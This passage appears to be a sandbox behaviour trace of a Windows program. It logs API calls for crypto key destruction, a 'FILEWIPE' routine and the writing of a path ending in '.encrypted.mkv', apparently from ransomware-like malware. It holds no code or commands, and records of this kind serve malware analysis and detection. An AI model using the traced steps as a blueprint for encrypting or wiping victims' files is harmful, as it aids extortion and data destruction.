dwBufLen=0x18a50 | out: pbData=0xe8f420a8c0*, pdwDataLen=0xe8f3dfdf68*=0x18a50) returned 1 [0022.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.546] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.546] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.546] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.550] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.550] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.550] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.551] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.551] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.551] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.552] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.552] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.552] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.552] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.552] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.552] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.552] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.552] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.552] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.552] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.552] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.552] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.553] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.553] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.553] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0022.553] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.553] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.553] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.553] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.553] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.553] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.554] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.554] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.556] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.556] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.556] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.556] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.557] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.557] CharLowerBuffW (in: lpsz="byte[100935]", cchLength=0xc | out: lpsz="byte[100935]") returned 0xc [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.559] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.559] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.559] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.559] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.560] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.560] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.560] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.560] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.560] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.562] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.562] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.562] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.562] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.562] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.562] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.562] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=892) returned 1 [0022.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.562] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x37c, lpOverlapped=0x0) returned 1 [0022.562] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x37c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=892) returned 1 [0022.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\n", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0022.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\n", cchWideChar=74, lpMultiByteStr=0xe8f406a130, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\n", lpUsedDefaultChar=0x0) returned 74 [0022.563] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40698f0*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40698f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x49, lpOverlapped=0x0) returned 1 [0022.563] CloseHandle (hObject=0x188) returned 1 [0022.565] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.565] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.565] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.565] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.565] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.565] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.566] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.566] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.567] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178580, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.567] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, 